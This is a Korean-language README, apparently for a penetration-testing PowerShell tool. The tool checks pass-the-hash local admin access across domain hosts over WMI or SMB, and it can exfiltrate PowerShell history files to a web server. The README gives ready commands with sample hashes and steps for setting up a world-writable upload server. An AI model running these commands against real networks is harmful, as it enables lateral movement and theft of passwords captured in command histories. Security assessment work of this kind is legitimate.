
Check-LocalAdminHash는 WMI 또는 SMB를 통해 여러 호스트에 패스워드 해시로 인증을 시도하여 제공된 자격 증명이 로컬 관리자인지 확인하는 PowerShell 도구입니다. 사용자의 패스워드 해시를 획득했을 때 네트워크 상에서 해당 사용자가 어디서 로컬 관리자 권한을 가지고 있는지 확인하는 데 유용합니다. 본 도구는 제가 즐겨 사용하는 두 도구를 프랑켄슈타인처럼 결합하고 일부 자체 코드를 추가한 것입니다. 자격 증명 확인 부분은 Kevin Robertson(@kevin_robertson)의 Invoke-TheHash 프로젝트를 활용합니다. 또한, 스크립트는 Will Schroeder(@harmj0y)와 Matt Graeber(@mattifestation)의 PowerView 모듈을 사용하여 도메인 컴퓨터를 열거하고 관리자 접근 테스트 대상을 찾습니다.
Check-LocalAdminHash는 PowerShell 도구로, WMI 또는 SMB를 통해 여러 호스트에 암호 해시를 사용하여 인증을 시도하고 제공된 자격 증명이 로컬 관리자 권한을 가지고 있는지 확인합니다. 사용자의 암호 해시를 확보했을 때 해당 사용자가 네트워크에서 어디에서 로컬 관리자인지 확인하려는 경우 유용합니다. 본질적으로 제가 가장 좋아하는 두 도구와 제 코드 일부를 결합한 프랑켄슈타인(Frankenstein)입니다. 자격 증명 확인 부분에는 Kevin Robertson(@kevin_robertson)의 Invoke-TheHash 프로젝트를 사용합니다. 또한, 이 스크립트는 Will Schroeder(@harmj0y)와 Matt Graeber(@mattifestation)의 PowerView에서 모듈을 활용하여 도메인 컴퓨터를 열거하여 관리자 권한 테스트 대상을 찾습니다.
이 스크립트가 존재하는 이유는 평가 중에 네트워크의 모든 시스템에서 PowerShell 콘솔 기록 파일(PSReadline)을 수집하고 싶었기 때문입니다. PSReadline 콘솔 기록은 PowerShell 버전의 bash 기록과 같습니다. 사용자가 터미널에 입력하는 흥미로운 것들(비밀번호 포함)이 많이 포함될 수 있습니다. 따라서 이 스크립트에는 모든 PSReadline 파일을 추출하는 옵션도 포함되어 있습니다. 설정이 약간 필요합니다. Readme의 끝 부분에서 설정 방법을 참조하십시오.
자세한 내용은 여기 블로그를 참조하세요: https://www.blackhillsinfosec.com/check-localadminhash-exfiltrating-all-powershell-history/
이 명령은 도메인 'testdomain.local'을 사용하여 모든 시스템을 조회한 후, 'testdomain.local\PossibleAdminUser' 사용자와 암호 해시를 사용하여 WMI를 통해 각 시스템에 인증을 시도합니다.
Check-LocalAdminHash -Domain testdomain.local -UserDomain testdomain.local -Username PossibleAdminUser -PasswordHash E62830DAED8DBEA4ACD0B99D682946BB -AllSystems
이 명령은 도메인 'testdomain.local'을 사용하여 모든 시스템을 조회한 후, 'testdomain.local\PossibleAdminUser' 사용자와 암호 해시를 사용하여 WMI를 통해 각 시스템에 인증을 시도합니다. 그런 다음 각 시스템의 모든 프로필에 대해 PowerShell 콘솔 기록 파일(PSReadline)을 찾아 웹 서버에 POST로 전송합니다. 서버 설정은 Readme 하단을 참조하세요.
Check-LocalAdminHash -Domain testdomain.local -UserDomain testdomain.local -Username PossibleAdminUser -PasswordHash E62830DAED8DBEA4ACD0B99D682946BB -AllSystems -ExfilPSReadline
이 명령은 제공된 CIDR 범위를 사용하여 대상 목록을 생성한 후, 로컬 사용자 'PossibleAdminUser'와 암호 해시를 사용하여 WMI를 통해 각 호스트에 인증을 시도합니다.
Check-LocalAdminHash -Username PossibleAdminUser -PasswordHash E62830DAED8DBEA4ACD0B99D682946BB -CIDR 192.168.1.0/24
이 명령은 제공된 대상 목록을 사용하여 로컬 사용자 'PossibleAdminUser'와 암호 해시를 SMB를 통해 각 호스트에 인증을 시도합니다.
Check-LocalAdminHash -Username PossibleAdminUser -PasswordHash E62830DAED8DBEA4ACD0B99D682946BB -TargetList C:\temp\targetlist.txt -Protocol SMB | Out-File -Encoding Ascii C:\temp\local-admin-systems.txt
이 명령은 시스템 192.168.0.16에 대해 Administrator 사용자로 SMB를 통해 로컬 인증을 시도합니다.
Check-LocalAdminHash -TargetSystem 192.168.0.16 -Username Administrator -PasswordHash E62830DAED8DBEA4ACD0B99D682946BB -Protocol SMB
Username - 인증 시도에 사용할 사용자 이름입니다.
PasswordHash - 사용자의 암호 해시입니다.
TargetSystem - 인증 시도 대상의 단일 호스트 이름 또는 IP입니다.
TargetList - 한 줄에 하나씩 스캔할 호스트 목록입니다.
AllSystems - 활성화되면 PowerView 모듈을 사용하여 모든 도메인 시스템을 열거하는 스위치입니다. 이 목록은 로컬 관리자 액세스를 확인하는 데 사용됩니다.
Domain - PowerView가 시스템 검색에 사용할 도메인입니다.
UserDomain - 각 시스템에 인증할 때 사용할 사용자의 도메인입니다. 도메인 자격 증명 대신 로컬 자격 증명을 사용하는 경우 이 플래그를 사용하지 마십시오.
Protocol - 해시를 WMI 또는 SMB로 확인할지 설정합니다. 기본값은 'WMI'이지만 'SMB'로 설정하여 SMB로 확인할 수 있습니다.
CIDR - 192.168.0.0/24와 같은 CIDR 형식의 네트워크 범위를 지정합니다.
Threads - 기본값은 5개의 스레드입니다. (스레드를 15개 이상으로 설정하면 일부 결과가 반환되지 않는 이상한 문제가 발생한 적이 있습니다.)
ExfilPSReadline - 인증이 성공한 각 시스템에 대해 PowerShell 명령을 실행하여 PSReadLine 콘솔 기록 파일(PowerShell 명령 기록)을 찾은 후 웹 서버에 POST로 전송합니다. 서버 설정은 Readme를 참조하세요.
경고합니다: 파일 업로드를 허용하는 인터넷에 노출된 서버를 설정하려는 것입니다. 일반적으로 이는 매우 나쁜 일입니다. 따라서 이 작업을 수행할 때는 반드시 주의를 기울이십시오. 방화벽 규칙을 잠궈 PSReadline 파일을 업로드할 IP만 웹 서버에 접근할 수 있도록 하는 것을 권장합니다. 또한 보안에 관한 이야기이지만, HTTPS 연결에서도 잘 작동하므로 도메인과 인증서를 설정하여 PSReadline 파일이 네트워크를 통해 암호화되어 전송되도록 하십시오. 경고했습니다...
파일을 전송받을 서버를 원하는 위치에 설정하십시오. 이 서버는 각 시스템에서 HTTP/HTTPS로 접근 가능해야 합니다.
이 저장소에서 index.php 스크립트를 복사하여 웹 서버의 웹 루트(/var/www/html)에 /index.php로 넣습니다.
업로드 디렉토리를 만듭니다.
mkdir /var/www/html/uploads
chmod 0777 /var/www/html/uploads
apt-get install php
service apache2 restart
이제 -ExfilPSReadline 플래그를 사용하여 Check-LocalAdminHash를 실행하면 각 PSReadline 파일(있는 경우)을 웹 서버에 POST로 전송하려고 시도합니다.
Check-LocalAdminHash는 사실 제가 가장 좋아하는 두 도구인 PowerView와 Invoke-TheHash의 프랑켄슈타인입니다. 코드의 95%는 이 두 도구에서 비롯되었습니다. 따라서 Invoke-TheHash에 대한 공로는 Kevin Robertson(@kevin_robertson)에게, PowerView에 대한 공로는 Will Schroeder(@harmj0y), Matt Graeber(@mattifestation)(및 PowerView 작업에 참여한 다른 모든 분들)에게 있습니다. 이 두 도구가 없었다면 이 스크립트는 존재하지 않았을 것입니다. 또한 스레딩에 도움을 주고 전반적으로 멋진 사람인 Steve Borosh(@424f424f)에게도 감사를 전합니다.
Invoke-TheHash - https://github.com/Kevin-Robertson/Invoke-TheHash
PowerView - https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/dev/Recon/PowerView.ps1